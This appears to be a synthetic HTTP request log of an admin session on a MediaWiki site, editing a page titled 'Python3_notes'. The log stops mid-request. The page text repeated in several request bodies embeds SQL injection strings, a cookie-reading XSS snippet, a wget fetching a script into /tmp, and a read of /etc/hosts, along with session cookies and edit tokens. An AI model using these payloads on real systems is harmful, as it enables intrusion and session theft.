{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-movement%2Cindicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:ListFiles&ilsearch=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.UserInputWidget%7Coojs-ui-widgets.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=135lg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:ListFiles&ilsearch=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.pager.styles/images/arrow-sort-descending.svg?855ba", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-movement%2Cindicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+Lighthouse.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:FileDuplicateSearch&filename=Pic+Lighthouse.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=ycdpp", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:FileDuplicateSearch&filename=Pic+Lighthouse.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2FLighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:LinkSearch&target=example.com%2FLighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=Lighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:ListUsers&username=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:MIMESearch&mime=image%2Fpng", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1eacc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:MIMESearch&mime=image%2Fpng", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=Li&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=Lighthouse&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1671", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=52f141f04963c493bdb6c4af9cc78baa6af22676%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 319", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=&sectiontitle=&summary=Notes+on+python3%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=52f141f04963c493bdb6c4af9cc78baa6af22676%2B%5C"}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3218", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz0k8CAH1ZI6cQBLB", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on python3, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n52f141f04963c493bdb6c4af9cc78baa6af22676+\\\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1722", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=&sectiontitle=&summary=Notes+on+python3%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=3d2253a69b15a92037b2054ed89260316af22677%2B%5C"}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3326", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNQNQnbmS4ZVnKScr", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a 